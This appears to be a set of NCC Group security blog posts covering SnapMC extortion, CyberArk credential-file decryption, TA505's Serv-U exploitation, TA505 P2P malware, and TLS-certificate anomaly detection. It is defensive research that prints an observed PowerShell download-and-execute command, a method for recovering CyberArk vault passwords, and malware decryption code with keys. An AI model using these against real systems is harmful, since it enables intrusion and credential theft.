NCC Group’s Threat Intelligence team predicts that data breach extortion attacks will increase over time, as it takes less time, and even less technical in-depth knowledge or skill in comparison to a full-blown ransomware attack. In a ransomware attack, the adversary needs to achieve persistence and become domain administrator before stealing data and deploying ransomware. While in the data breach extortion attacks, most of the activity could even be automated and takes less time while still having a significant impact. Therefore, making sure you are able to detect such attacks in combination with having an incident response plan ready to execute at short notice, is vital to efficiently and effectively mitigate the threat SnapMC poses to your organization.
MITRE ATT&CK mapping
Tactic
Technique
Procedure
Reconnaissance
T1595.002 – Vulnerability scanning
SnapMC used the Acunetix vulnerability scanner to find systems running vulnerable Telerik software.
Initial Access
T1190 – Exploit Public Facing Application(s)
SnapMC exploited CVE-2019-18935 and SQL Injection.
Privilege Escalation
SnapMC used a combination of PowerShell cmdlets to achieve privilege escalation.
Execution
T1059.001 – PowerShell
SnapMC used a combination of publicly available PowerShell cmdlets.
Collection
T1560.001 – Archive via Utility
SnapMC used 7zip to prepare data for exfiltration.
Exfiltration
T1567 – Exfiltration over Web Service
T1567.002 – Exfiltration to Cloud Storage
SnapMC used MinIO client (mc.exe) to exfiltrate data.
This blog will be a technical deep-dive into CyberArk credential files and how the credentials stored in these files are encrypted and decrypted. I discovered it was possible to reverse engineer the encryption and key generation algorithms and decrypt the encrypted vault password. I also provide a python implementation to decrypt the contents of the files.
Introduction
It was a bit more than a year ago that we did a penetration test for a customer where we came across CyberArk. During the penetration test we tested the implementation of their AD tiering model and they used CyberArk to implement this. During the penetration test we were able to get access to the CyberArk Privileged Session Manager (PSM) server. We found several .cred CyberArk related files on this server. At the time of the assignment I suspected the files were related to accessing the CyberArk Vault. This component stores all passwords used by CyberArk. The software seemed to be able to access the vault using the files with no additional user input necessary. These credential files contain several fields, including an encrypted password and an “AdditionalInformation” field. I immediately suspected I could reverse or break the crypto to recover the password, though the binaries were quite large and complex (C++ classes everywhere).
A few months later during another assignment for another customer we again found CyberArk related credential files, but again, nobody knew how to decrypt them. So during a boring COVID stay-at-home holiday I dove into the CreateCredFile.exe binary, used to create new credential files, and started reverse engineering the logic. Creating a dummy credential file using the CreateCredFile utility looks like to following:
Creating a new credential file with CreateCredFile.exeThe created test.cred credential file
The encryption and key generation algorithms
It appears there are several types of credential files (Password, Token, PKI, Proxy and KeyPair). For this exercise we will look at the password type. The details in the file can be encrypted using several algorithms:
DPAPI protected machine storage
DPAPI protected user storage
Custom
The default seemed to be the custom one, and after some effort I started to understand the logic how the software encrypts and decrypts the password in the file. The encryption algorithm is roughly the following:
First the software generates 20 random bytes and converts this to a hexadecimal string. This string is stored in the internal CCAGCredFile object for later use. This basically is the “AdditionalInformation” field in the credential files. When the software actually enters the routine to encrypt the password, it will generate a string that will be used to generate the final AES key. I will refer to this string as the base key. This string will consist of the following parts, appended together:
The Application Type restriction, converted to lower case, hashed with SHA1 and base64 encoded.
The Executable Path restriction, converted to lower case.
The Machine IP restriction.
The Machine Hostname restriction, converted to lower case.
The OS Username restriction, converted to lower case.
The 20 random bytes, or AdditionalInformation field.
An example base string that will be used to generate the AES key
Note that by default, the software will not apply the additional restrictions, only relying on the additional info field, present in the credential files. After the base key is generated, the software will generate the actual encryption key used for encrypting and decrypting credentials in the credential files. It will start by creating a SHA1 context, and update the context with the base key. Next it will create two copies of the context. The first context is updated with the integer ‘1’, and the second is updated with the integer ‘2’, both in big endian format. The finalized digest of the first context serves as the first part of the key, appended by the first 12 bytes of the finalized second digest. The AES key is thus 32 bytes long.
When encrypting a value, the software generates some random bytes to use as initialization vector (IV) , and stores the IV in the first block of encrypted bytes. Furthermore, when a value is encrypted, the software will encrypt the value itself, combined with the hash of the value. I assume this is done to verify the decryption routine was successful and the data is not corrupted.
Decrypting credential files
Because, by default, the software will only rely on the random bytes as base key, which are included in the credential file, we can generate the correct AES key to decrypt the encrypted contents in the file. I implemented a Python utility to decrypt CyberArk Credential files and it can be downloaded here. The additional verification attributes the software can use to include in the base key can be provided as command line arguments to the decryption tool. Most of these can be either guessed, or easily discovered, as an attacker will most likely already have a foothold in the network, so a hostname or IP address is easily uncovered. In some cases the software even stores these verification attributes in the file as it asks to include the restrictions in the credential file when creating one using the CreateCredFile.exe utility.
Decrypting a credential file using the decryption tool.
Defense
How to defend against attackers from decrypting the CyberArk vault password in these credential files? First off, prevent an attacker from gaining access to the credential files in the first place. Protect your credential files and don’t leave them accessible by users or systems that don’t need access to them. Second, when creating credential files using the CreateCredFile utility, prefer the “Use Operating System Protected Storage for credentials file secret” option to protect the credentials with an additional (DPAPI) encryption layer. If this encryption is applied, an attacker will need access to the system on which the credential file was generated in order to decrypt the credential file.
Responsible Disclosure
We reported this issue at CyberArk and they released a new version mitigating the decryption of the credential file by changing the crypto implementation and making the DPAPI option the default. We did not have access to the new version to verify these changes.
Timeline:
20-06-2021 – Reported issue at CyberArk. 21/23/27/28-06-2021 – Communication back and forth with questions and explanation. 29-06-2021 – Call with CyberArk. They released a new version which should mitigate the issue.
NCC Group’s global Cyber Incident Response Team have observed an increase in Clop ransomware victims in the past weeks. The surge can be traced back to a vulnerability in SolarWinds Serv-U that is being abused by the TA505 threat actor. TA505 is a known cybercrime threat actor, who is known for extortion attacks using the Clop ransomware. We believe exploiting such vulnerabilities is a recent initial access technique for TA505, deviating from the actor’s usual phishing-based approach.
NCC Group strongly advises updating systems running SolarWinds Serv-U software to the most recent version (at minimum version 15.2.3 HF2) and checking whether exploitation has happened as detailed below.
We are sharing this information as a call to action for organisations using SolarWinds Serv-U software and incident responders currently dealing with Clop ransomware.
Modus Operandi
Initial Access
During multiple incident response investigations, NCC Group found that a vulnerable version of SolarWinds Serv-U server appeared to be the initial access used by TA505 to breach its victims’ IT infrastructure. The vulnerability being exploited is known as CVE-2021-35211 [1].
SolarWinds published a security advisory [2] detailing the vulnerability in the Serv-U software on July 9, 2021. The advisory mentions that Serv-U Managed File Transfer and Serv-U Secure FTP are affected by the vulnerability. On July 13, 2021, Microsoft published an article [3] on CVE-2021-35211 being abused by a Chinese threat actor referred to as DEV-0322. Here we describe how TA505, a completely different threat actor, is exploiting that vulnerability.
Successful exploitation of the vulnerability, as described by Microsoft [3], causes Serv-U to spawn a subprocess controlled by the adversary. That enables the adversary to run commands and deploy tools for further penetration into the victim’s network. Exploitation also causes Serv-U to log an exception, as described in the mitigations section below
Execution
We observed that Base64 encoded PowerShell commands were executed shortly after the Serv-U exceptions indicating exploitation were logged. The PowerShell commands ultimately led to deployment of Cobalt Strike Beacons on the system running the vulnerable Serv-U software. The PowerShell command observed deploying Cobalt Strike can be seen below: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘hxxp://IP:PORT/a’))
Persistence
On several occasions the threat actor tried to maintain its foothold by hijacking a scheduled tasks named RegIdleBackup and abusing the COM handler associated with it to execute malicious code, leading to FlawedGrace RAT.
The RegIdleBackup task is a legitimate task that is stored in \Microsoft\Windows\Registry. The task is normally used to regularly backup the registry hives. By default, the CLSID in the COM handler is set to: {CA767AA8-9157-4604-B64B-40747123D5F2}. In all cases where we observed the threat actor abusing the task for persistence, the COM handler was altered to a different CLSID.
CLSID objects are stored in registry in HKLM\SOFTWARE\Classes\CLSID\. In our investigations the task included a suspicious CLSID, which subsequently redirected to another CLSID. The second CLSID included three objects containing the FlawedGrace RAT loader. The objects contain Base64 encoded strings that ultimately lead to the executable.
Checks for potential compromise
Check for exploitation of Serv-U
NCC Group recommends looking for potentially vulnerable Serv-U FTP-servers in your network and check these logs for traces of similar exceptions as suggested by the SolarWinds security advisory. It is important to note that the publications by Microsoft and SolarWinds are describing follow-up activity regarding a completely different threat actor than we observed in our investigations.
Microsoft’s article [3] on CVE-2021-35211 provides guidance on the detection of the abuse of the vulnerability. The first indicator of compromise for the exploitation of this vulnerability are suspicious entries in a Serv-U log file named DebugSocketlog.txt. This log file is usually located in the Serv-U installation folder. Looking at this log file it contains exceptions at the time of exploitation of CVE-2021-35211. NCC Group’s analysts encountered the following exceptions during their investigations:
However, as mentioned in Microsoft’s article, this exception is not by definition an indicator of successful exploitation and therefore further analysis should be carried out to determine potential compromise.
Check for suspicious PowerShell commands
Analysts should look for suspicious PowerShell commands being executed close to the date and time of the exceptions. The full content of PowerShell commands is usually recorded in Event ID 4104 in the Windows Event logs.
Check for RegIdleBackup task abuse
Analysts should look for the RegIdleBackup task with an altered CLSID. Subsequently, the suspicious CLSID should be used to query the registry and check for objects containing Base64 encoded strings. The following PowerShell commands assist in checking for the existence of the hijacked task and suspicious CLSID content.
The following steps should be taken to check whether exploitation led to a suspected compromise by TA505:
Check if your Serv-U version is vulnerable
Locate the Serv-U’s DebugSocketlog.txt
Search for entries such as ‘EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive();’ in this log file
Check for Event ID 4104 in the Windows Event logs surrounding the date/time of the exception and look for suspicious PowerShell commands
Check for the presence of a hijacked Scheduled Task named RegIdleBackup using the provided PowerShell command
In case of abuse: the CLSID in the COM handler should NOT be set to {CA767AA8-9157-4604-B64B-40747123D5F2}
If the task includes a different CLSID: check the content of the CLSID objects in the registry using the provided PowerShell command, returned Base64 encoded strings can be an indicator of compromise.
Vulnerability Landscape
There are currently still many vulnerable internet-accessible Serv-U servers online around the world.
In July 2021 after Microsoft published about the exploitation of Serv-U FTP servers by DEV-0322, NCC Group mapped the internet for vulnerable servers to gauge the potential impact of this vulnerability. In July, 5945 (~94%) of all Serv-U (S)FTP services identified on port 22 were potentially vulnerable. In October, three months after SolarWinds released their patch, the number of potentially vulnerable servers is still significant at 2784 (66.5%).
The top countries with potentially vulnerable Serv-U FTP services at the time of writing are:
Amount
Country
1141
China
549
United States
99
Canada
92
Russia
88
Hong Kong
81
Germany
65
Austria
61
France
57
Italy
50
Taiwan
36
Sweden
31
Spain
30
Vietnam
29
Netherlands
28
South Korea
27
United Kingdom
26
India
21
Ukraine
18
Brazil
17
Denmark
Top vulnerable versions identified:
Amount
Version
441
SSH-2.0-Serv-U_15.1.6.25
236
SSH-2.0-Serv-U_15.0.0.0
222
SSH-2.0-Serv-U_15.0.1.20
179
SSH-2.0-Serv-U_15.1.5.10
175
SSH-2.0-Serv-U_14.0.1.0
143
SSH-2.0-Serv-U_15.1.3.3
138
SSH-2.0-Serv-U_15.1.7.162
102
SSH-2.0-Serv-U_15.1.1.108
88
SSH-2.0-Serv-U_15.1.0.480
85
SSH-2.0-Serv-U_15.1.2.189
MITRE ATT&CK mapping
Tactic
Technique
Procedure
Initial Access
T1190 – Exploit Public Facing Application(s)
TA505 exploited CVE-2021-35211 to gain remote code execution.
Execution
T1059.001 – Command and Scripting Interpreter: PowerShell
TA505 used Base64 encoded PowerShell commands to download and run Cobalt Strike Beacons on target systems.
Persistence
T1053.005 – Scheduled Task/Job: Scheduled Task
TA505 hijacked a scheduled task named RegIdleBackup and abused the COM handler associated with it to execute malicious code and gain persistence.
Defense Evasion
T1112 – Modify Registry
TA505 altered the registry so that the RegIdleBackup scheduled task executed the FlawedGrace RAT loader, which was stored as Base64 encoded strings in the registry.
This post is by Nikolaos Pantazopoulos and Michael Sandee
tl;dr – Executive Summary
For the past few months NCC Group has been closely tracking the operations of TA505 and the development of their various projects (e.g. Clop). During this research we encountered a number of binary files that we have attributed to the developer(s) of ‘Grace’ (i.e. FlawedGrace). These included a remote administration tool (RAT) used exclusively by TA505. The identified binary files are capable of communicating with each other through a peer-to-peer (P2P) network via UDP. While there does not appear to be a direct interaction between the identified samples and a host infected by ‘Grace’, we believe with medium to high confidence that there is a connection to the developer(s) of ‘Grace’ and the identified binaries.
In summary, we found the following:
P2P binary files, which are downloaded along with other Necurs components (signed drivers, block lists)
P2P binary files, which transfer certain information (records) between nodes
Based on the network IDs of the identified samples, there seem to be at least three different networks running
The programming style and dropped file formats match the development standards of ‘Grace’
History of TA505’s Shift to Ransomware Operations
2014: Emergence as a group
The threat actor, often referred to as TA505 publicly, has been distinguished as an independent threat actor by NCC Group since 2014. Internally we used the name “Dridex RAT group”. Initially it was a group that integrated quite closely with EvilCorp, utilising their Dridex banking malware platform to execute relatively advanced attacks, using often custom made tools for a single purpose and repurposing commonly available tools such as ‘Ammyy Admin’ and ‘RMS’/’RUT’ to complement their arsenal. The attacks performed mostly consisted of compromising organisations and social engineering victims to execute high value bank transfers to corporate mule accounts. These operations included social engineering correctly implemented two-factor authentication with dual authorization by both the creator of a transaction and the authorizee.
2017: Evolution
Late 2017, EvilCorp and TA505 (Dridex RAT Group) split as a partnership. Our hypothesis is that EvilCorp had started to use the Bitpaymer ransomware to extort organisations rather than doing banking fraud. This built on the fact they had already been using the Locky ransomware previously and was attracting unwanted attention. EvilCorp’s ability to execute enterprise ransomware across large-scale businesses was first demonstrated in May 2017. Their capability and success at pulling off such attacks stemmed from the numerous years of experience in compromising corporate networks for banking fraud activity, specifically moving laterally to separate hosts controlled by employees who had the required access and control of corporate bank accounts. The same techniques in relation to lateral movement and tools (such as Empire, Armitage, Cobalt Strike and Metasploit) enabled EvilCorp to become highly effective in targeted ransomware attacks.
However in 2017 TA505 went on their own path and specifically in 2018 executed a large number of attacks using the tool called ‘Grace’, also known publicly as ‘FlawedGrace’ and ‘GraceWire’. The victims were mostly financial institutions and a large number of the victims were located in Africa, South Asia, and South East Asia with confirmed fraudulent wire transactions and card data theft originating from victims of TA505. The tool ‘Grace’ had some interesting features, and showed some indications that it was originally designed as banking malware which had latterly been repurposed. However, the tool was developed and was used in hundreds of victims worldwide, while remaining relatively unknown to the wider public in its first years of use.
2019: Clop and wider tooling
In early 2019, TA505 started to utilise the Clop ransomware, alongside other tools such as ‘SDBBot’ and ‘ServHelper’, while continuing to use ‘Grace’ up to and including 2021. Today it appears that the group has realised the potential of ransomware operations as a viable business model and the relative ease with which they can extort large sums of money from victims.
The remainder of this post dives deeper into a tool discovered by NCC Group that we believe is related to TA505 and the developer of ‘Grace’. We assess that the identified tool is part of a bigger network, possibly related with Grace infections.
Technical Analysis
The technical analysis we provide below focuses on three components of the execution chain:
A downloader – Runs as a service (each identified variant has a different name) and downloads the rest of the components along with a target processes/services list that the driver uses while filtering information. Necurs have used similar downloaders in the past.
A signed driver (both x86 and x64 available) – Filters processes/services in order to avoid detection and/or prevent removal. In addition, it injects the payload into a new process.
Node tool – Communicates with other nodes in order to transfer victim’s data.
It should be noted that for all above components, different variations were identified. However, the core functionality and purposes remain the same.
Upon execution, the downloader generates a GUID (used as a bot ID) and stores it in the ProgramData folder under the filename regid.1991-06.com.microsoft.dat. Any downloaded file is stored temporarily in this directory. In addition, the downloader reads the version of crypt32.dll in order to determine the version of the operating system.
Next, it contacts the command and control server and downloads the following files:
t.dat – Expected to contain the string ‘kwREgu73245Nwg7842h’
p3.dat – P2P Binary. Saved as ‘payload.dll’
d1c.dat – x86 (signed) Driver
d2c.dat – x64 (signed) Driver
bn.dat – List of processes for the driver to filter. Stored as ‘blacknames.txt’
bs.dat – List of services’ name for the driver to filter. Stored as ‘blacksigns.txt’
bv.dat – List of files’ version names for the driver to filter. Stored as ‘blackvers.txt’.
r.dat – List of registry keys for the driver to filter. Stored as ‘registry.txt’
The network communication of the downloader is simple. Firstly, it sends a GET request to the command and control server, downloads and saves on disk the appropriate component. Then, it reads the component from disk and decrypts it (using the RC4 algorithm) with the hardcoded key ‘ABCDF343fderfds21’. After decrypting it, the downloader deletes the file.
Depending on the component type, the downloader stores each of them differently. Any configurations (e.g. list of processes to filter) are stored in registry under the key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID with the value name being the thread ID of the downloader. The data are stored in plaintext with a unique ID value at the start (e.g. 0x20 for the processes list), which is used later by the driver as a communication method.
In addition, in one variant, we detected a reporting mechanism to the command and control server for each step taken. This involves sending a GET request, which includes the generated bot ID along with a status code. The below table summarises each identified request (Table 1).
Request
Description
/c/p1/dnsc.php?n=%s&in=%s
First parameter is the bot ID and the second is the formatted string (“Version_is_%d.%d_(%d)_%d__ARCH_%d”), which contains operating system info
/c/p1/dnsc.php?n=%s&sz=DS_%d
First parameter is the bot ID and the second is the downloaded driver’s size
/c/p1/dnsc.php?n=%s&er=ERR_%d
First parameter is the bot ID and the second is the error code
/c/p1/dnsc.php?n=%s&c1=1
The first parameter is the bot ID. Notifies the server that the driver was installed successfully
/c/p1/dnsc.php?n=%s&c1=1&er=REB_ERR_%d
First parameter is the bot ID and the second is the error code obtained while attempting to shut down the host after finding Windows Defender running
/c/p1/dnsc.php?n=%s&sz=ErrList_%d_%
First parameter is the bot ID, second parameter is the resulted error code while retrieving the blocklist processes. The third parameter is set to 1. The same command is also issued after downloading the blacklisted services’ names and versions. The only difference is on the third parameter, which is increased to ‘2’ for blacklisted services, ‘3’ for versions and ‘4’ for blacklisted registry keys
/c/p1/dnsc.php?n=%s&er=PING_ERR_%d
First parameter is the bot ID and the second parameter is the error code obtained during the driver download process
/c/p1/dnsc.php?n=%s&c1=1&c2=1
First parameter is the bot ID. Informs the server that the bot is about to start the downloading process.
/c/p1/dnsc.php?n=%s&c1=1&c2=1&c3=1
First parameter is the bot ID. Notified the server that the payload (node tool) was downloaded and stored successfully
Table 1 – Reporting to C2 requests
Driver Analysis
The downloaded driver is the same one that Necurs uses. It has been analysed publically already [1] but in summary, it does the following.
In the first stage, the driver decrypts shellcode, copies it to a new allocated pool and then executes the payload. Next, the shellcode decrypts and runs (in memory) another driver (stored encrypted in the original file). The decryption algorithm remains the same in both cases:
xor_key = extracted_xor_key
bits = 15
result = b''
for i in range(0,payload_size,4):
data = encrypted[i:i+4]
value = int.from_bytes (data, 'little' )^ xor_key
result += ( _rol(value, bits, 32) ^ xor_key).to_bytes(4,'little')
Eventually, the decrypted driver injects the payload (the P2P binary) into a new process (‘wmiprvse.exe’) and proceeds with the filtering of data.
A notable piece of code of the driver is the strings’ decryption routine, which is also present in recent GraceRAT samples, including the same XOR key (1220A51676E779BD877CBECAC4B9B8696D1A93F32B743A3E6790E40D745693DE58B1DD17F65988BEFE1D6C62D5416B25BB78EF0622B5F8214C6B34E807BAF9AA).
Payload Attribution and Analysis
The identified sample is written in C++ and interacts with other nodes in the network using UDP. We believe that the downloaded binary file is related with TA505 for (at least) the following reasons:
Same serialisation library
Same programming style with ‘Grace’ samples
Similar naming convention in the configuration’s keys with ‘Grace’ samples
Same output files (dsx), which we have seen in previous TA505 compromises. DSX files have been used by ‘Grace’ operators to store information related with compromised machines.
Initialisation Phase
In the initialisation phase, the sample ensures that the configurations have been loaded and the appropriate folders are created.
All identified samples store their configurations in a resource with name XC.
ANALYST NOTE: Due to limit visibility of other nodes, we were not able to identify the purpose of each key of the configurations.
The first configuration stores the following settings:
cx – Parent name
nid – Node ID. This is used as a network identification method during network communication. If the incoming network packet does not have the same ID then the packet is treated as a packet from a different network and is ignored.
dgx – Unknown
exe – Binary mode flag (DLL/EXE)
key – RSA key to use for verifying a record
port – UDP port to listen
va – Parent name. It includes the node IPs to contact.
The second configuration contains the following settings (or metadata as the developer names them):
meta – Parent name
app – Unknown. Probably specifies the variant type of the server. The following seem to be supported:
target (this is the current set value)
gate
drop
control
mod – Specifies if current binary is the core module.
bld – Unknown
api – Unknown
llr – Unknown
llt- Unknown
Next, the sample creates a set of folders and files in a directory named ‘target’. These folders are:
node (folder) – Stores records of other nodes
trash (folder) – Move files for deletion
units (folder) – Unknown. Appears to contain PE files, which the core module loads.
sessions (folder) – Active nodes’ sessions
units.dsx (file) – List of ‘units’ to load
probes.dsx (file) – Stores the connected nodes IPs along with other metadata (e.g. connection timestamp, port number)
net.dsx (file) – Node peer name
reports.dsx (file) – Used in recent versions only. Unknown purpose.
Network communication
After the initialisation phase has been completed, the sample starts sending UDP requests to a list of IPs in order to register itself into the network and then exchange information.
Every network packet has a header, which has the below structure:
struct Node_Network_Packet_Header
{
BYTE XOR_Key;
BYTE Version; // set to 0x37 ('7')
BYTE Encrypted_node_ID[16]; // XORed with XOR_Key above
BYTE Peer_Name[16]; // Xored with XOR_Key above. Connected peer name
BYTE Command_ID; //Internally called frame type
DWORD Watermark; //XORed with XOR_Key above
DWORD Crc32_Data; //CRC32 of above data
};
When the sample requires adding additional information in a network packet, it uses the below structure:
struct Node_Network_Packet_Payload
{
DWORD Size;
DWORD CRC32_Data;
BYTE Data[Size]; // Xored with same key used in the header packet (XOR_Key)
};
As expected, each network command (Table 2) adds a different set of information in the ‘Data’ field of the above structure but most of the commands follow a similar format. For example, an ‘invitation’ request (Command ID 1) has the structure:
The sample supports a limited set of commands, which have as a primary role to exchange ‘records’ between each other.
Command ID
Description
1
Requests to register in the other nodes (‘invitation’ request)
2
Adds node IP to the probes list
3
Sends a ping request. It includes number of active connections and records
4
Sends number of active connections and records in the node
5
Adds a new node IP:Port that the remote node will check
6
Sends a record ID along with the number of data blocks
7
Requests metadata of a record
8
Sends metadata of a record
9
Requests the data of a record
10
Receives data of a record and store them on disk
Table 2 – Set of command IDs
ANALYST NOTE: When information, such as record IDs or number of active connections/records, is sent, the binary adds the length of the data followed by the actual data. For example, in case of sending number of active connections and records:
01 05 01 02 01 02
The above is translated as:
2 active connections from a total of 5 with 2 records.
Moreover, when a node receives a request, it sends an echo reply (includes the same packet header) to acknowledge that the request was read. In general, the following types are supported:
Request type of 0x10 for echo request.
Request type of 0x07 when sending data, which fit in one packet.
Request type of 0xD when sending data in multiple packets (size of payload over 1419 bytes).
Request type 0x21. It exists in the binary but not supported during the network communications.
Record files
As mentioned already, a record has its own sub-folder under the ‘node’ folder with each sub-folder containing the below files:
m – Metadata of record file
l – Unknown purpose
p – Payload data
The metadata file contains a set of information for the record such as the node peer name and the node network ID. Among this information, the keys ‘tag’ and ‘pwd’ appear to be very important too. The ‘tag’ key represents a command (different from table 2 set) that the node will execute once it receives the record. Currently, the binary only supports the command ‘updates’. The payload file (p) keeps the updated content encrypted with the value of key ‘pwd’ being the AES key.
Even though we have not been able yet to capture any network traffic for the above command, we believe that it is used to update the current running core module.
An approach to detecting suspicious TLS certificates using an incremental anomaly detection model is discussed. This model utilizes the Half-Space-Trees algorithm and provides our security operations teams (SOC) with the opportunity to detect suspicious behavior, in real-time, even when network traffic is encrypted.
The prevalence of encrypted traffic
As a company that provides Managed Network Detection & Response services an increase in the use of encrypted traffic has been observed. This trend is broadly welcome. The use of encrypted network protocols yields improved mitigation against eavesdropping. However, in an attempt to bypass security detection that relies on deep packet inspection, it is now a standard tactic for malicious actors to abuse the privacy that encryption enables. For example, when conducting malicious activity, such as command and control of an infected device, connections to the attacker controlled external domain now commonly occur using HTTPS.
The application of a range of data science techniques is now integral to identifying malicious activity that is conducted using encrypted network protocols. This blogpost expands on one such technique, how anomalous characteristics of TLS certificates can be identified using the Half Space Trees algorithm. In combination with other modelling, like the identification of an unusual JA3 hash [i], beaconing patterns [ii] or randomly generated domains [iii], effective detection logic can be created. The research described here has subsequently been further developed and added to our commercial offering. It is actively facilitating real time detection of malicious activity.
Malicious actors abuse the trust of TLS certificates
TLS certificates are a type of digital certificate, issued by a Certificate Authority (CA) certifying that they have verified the owners of the domain name which is the subject of the certificate. TLS certificates usually contain the following information:
The subject domain name
The subject organization
The name of the issuing CA
Additional or alternative subject domain names
Issue date
Expiry date
The public key
The digital signature by the CA [iv].
If malicious actors want to use TLS to ensure that they appear as legitimate traffic they have to obtain a TLS certificate (Mitre, T1608.003) [v]. Malicious actors can obtain certificates in different ways, most commonly by:
Obtaining free certificates from a CA. CA’s like Let’s Encrypt issue free certificates. Malicious actors are known to widely abuse this trust relationship (vi, vii).
Creating self-signed certificates. Self-signed certificates are not signed by a CA. Certain attack frameworks such as Cobalt Strike offer the option to generate self-signed certificates.
Buying or stealing certificates from a CA. Malicious actors can deceive a CA to issue a certificate for a fake organization.
The following example shows the subject name and issue name of a TLS certificate in a recent Ryuk ransomware campaign.
Example 1. Subject and issuer fields in a TLS certificate used in Ryuk ransomware
The meaning of the attributes that can be found in the issuer name and subject name fields of TLS certificates are defined in RFC 5280 and are explained in the table below.
Attribute
C
Country of the entity
S
State of province
L
Locality
O
Organizational name
OU
Organizational Unit
CN
Common Name
Table 1. The subject usually includes the information of the owner, and the issuer field includes the entity that has signed and issued the certificate (RFC, 5280) (viii).
Note the following characteristics that can be observed in this malicious certificate:
It is a self-signed certificate as no CA present in the Issuer Name.
The Organization names attribute contains the string “lol”
The Organizational Units attribute is empty
A domain name is present in the Common Name (ix, x)
Compare these characteristics to the legitimate certificate used by the fox-it.com domain.
Subject Name:
C=GB, L=Manchester, O=NCC Group PLC, CN=www.nccgroup.com
Issuer Name:
C=US, O=Entrust, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K
Example 2. Subject and issuer fields in a TLS certificate used by fox-it.com
Observe the attributes in the Subject and Issuer Name. In the Subject Name is information about the owner of the certificate. In the Issuer Name is information of the CA.
Using machine learning to identify anomalous certificates
When comparing the legitimate and malicious certificate the certificate used in Ryuk ransomware “looks weird”. If humans could identify that the malicious certificate is peculiar, could machines also learn to classify such a certificate as anomalous? To explore this question a dataset of “known good” and “known bad” TLS certificates was curated. Using white-box algorithms, such as Random Forest, several features were identified that helped classify malicious certificates. For example, the number of empty attributes had a statistical relationship with how likely it was used for malicious activities.However, it was soon recognized that such an approach was problematic, there was a risk of “over-fitting” the algorithm to the training data, a situation whereby the algorithm would perform well on the training dataset but perform poorly when applied to real life data. Especially in a stream of data that evolves over time, such as network data, it is challenging to maintain high detection precision. To be effective this model needed the ability to become aware of new patterns that may present themselves outside of the small sample of training data provide; an unsupervised machine learning model which could detect anomalies in real-time was required.
An isolation-based anomaly detection approach
The Isolation Forest was the first isolation-based anomaly detection model, created by Liu et al. in 2008 (xi). The referenced paper presented an intuitive but powerful idea. Anomalous data points are rare. And a property of rarity is that the anomalous data point must be easier to isolate from the rest of the data.
From this insight the algorithm proposed computes the ease of isolating an anomaly. It achieves this by making a tree to split the data (visualization 1 includes an example of a tree structure). The more anomalous an observation is the faster an anomaly gets isolated in the tree, and the less splits in the tree are needed. Note, the Isolation Forest is an ensemble method, meaning it builds multiple trees (forest) and calculates the average amounts of splits made by the trees to isolate an anomaly (xi).
An advantage of this approach is that, in contrast to density and distance-based approaches, less computational cost is required to identify anomalies (xi, xii) whilst maintaining comparable levels of performance metrics (viii, ix).
Half-Space-Trees: Isolation-based approach for streaming data
In 2011, building on their earlier work, Tan and Liu created an isolation-based algorithm called Half-Space-Trees (HST) that utilized incremental learning techniques. HST enables an isolation-based anomaly detection approach to be applied to a stream of continuous data (xiii). The animation below demonstrates how a simple half-space-tree isolates anomalies in the window space with a tree-based structure:
Visualization 1: An example of 2-dimensional data in a window divided by two simple half-space-trees, the visualization is inspired by the original paper.
The HST is also an ensemble method, meaning it builds multiple half-space-trees. A single half-space-tree bisects the window (space) in half-spaces based on the features in the data. Every single half-space-tree does this randomly and goes on as long as the set height of the tree. The half-space-tree calculates the amount of data points per subspace and gives a mass score to that subspace (which is represented by the colors).
The subspaces where most datapoints fall in are considered high-mass subspaces, and the subspaces with low or no data points are considered low-mass subspaces. Most data points are expected to fall in high-mass subspaces because they need many more splits (i.e., a higher tree) to be isolated. The sum of the mass of all half-space-trees becomes the final anomaly score of the HST (xiii). Calculating mass is a different approach than looking at the number of splits (as conducted in the Isolation Forest). Even so, using recursive methods calculating the mass profile is maintained as a simple and fast way of computing data points in streaming data (xiii).
Moreover, the HST works with two consecutive windows; the reference window and the latest window. The HST learns the mass profile in the reference window and uses it as a reference for new incoming data in the latest window. Without going too deep into the workings of the windows, it is worth mentioning that the reference window is updated every time the latest window is full. Namely, when the latest window is full, it will override the mass profile to the reference window and the latest window is cleared so new data can come in. By updating its windows in this way, the HST is robust for evolving streaming data (xiii).
The anomaly scores output issued by HSTs falls between 0 and 1. The closer the anomaly score is to 1 the easier it was to isolate the certificate and the more likely that the certificate is anomalous. Testing HSTs on our initial collated data it was satisfied that this was a robust approach to the problem, with the Ryuk ransomware certificate repeatedly identified with an anomaly score of 0.84.
The importance of feedback loops – going from research to production
As a provider of managed cyber security services, we are fortunate to have a number of close customers who were willing to deploy the model in a controlled setting on live network traffic. In conjunction with quick feedback from human analysts on the anomaly scores that were being outputted it was possible to optimize the model to ensure that it produced sensible scoring across a wide range of environments. Having achieved credibility, the model could be more widely deployed. In an example of the economic concept of “network effects” the more environments on which the model was deployed, the more model performance has improved and proved itself adaptable to the unique environment in which it is operating.
Whilst high anomaly scores do not necessarily indicate malicious behavior, they are a measure of weirdness or novelty. Combining the anomaly scoring obtained from HSTs with other metrics or rules, derived in real-time, it has become possible to classify malicious activity with greater certainty.
Machines can learn to detect suspicious TLS certificates
An unsupervised, incremental anomaly detection model is applied in our security operations centers and now part of our commercial offerings. We would like to encourage other cyber security defenders to look at the characteristics of TLS certificates to detect malicious activities even when traffic is encrypted. Encryption does not equal invisibility and there is often (meta)data to consider. Accordingly so, it requires different approaches to search for malicious activity. Particularly as a Data Science team we found that the Half-Space-Trees is an effective and quick anomaly detector in streaming network data.
[viii] Cooper, D., Santesson, S., Farrell, S., Boeyen, S., Housley, R., and W. Polk. (2008). “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”, RFC 5280, DOI 10.17487/RFC5280. https://datatracker.ietf.org/doc/html/rfc5280
[xi] Liu, F. T. , Ting, K. M. & Zhou, Z. (2008). “Isolation Forest”. Eighth IEEE International Conference on Data Mining, pp. 413-422, doi: 10.1109/ICDM.2008.17. https://ieeexplore.ieee.org/document/4781136
[xii] Togbe, M.U., Chabchoub, Y., Boly, A., Barry, M., Chiky, R., & Bahri, M. (2021). “Anomalies Detection Using Isolation in Concept-Drifting Data Streams.” Comput., 10, 13. https://www.mdpi.com/2073-431X/10/1/13
